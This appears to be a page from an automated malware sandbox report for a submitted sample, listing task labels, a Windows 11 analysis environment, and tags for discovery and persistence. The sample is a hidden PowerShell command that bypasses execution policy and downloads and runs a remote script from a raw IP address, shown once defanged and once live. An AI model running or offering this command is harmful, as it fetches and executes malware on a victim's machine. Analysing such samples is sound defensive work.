hxxp://powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iwr -useb hxxp://95[.]182[.]85[.]82[:]9443/install/1831db7e34586c3efc5d014b2763b1bf[.]ps1 | iex"

Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

http://powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "iwr -useb http://95.182.85.82:9443/install/1831db7e34586c3efc5d014b2763b1bf.ps1 | iex"

Resource

win11-20260513-de

windows11-21h2-x64

14 signatures

900 seconds

discovery persistence

Sharing

General

Malware Config

Signatures

File Explorer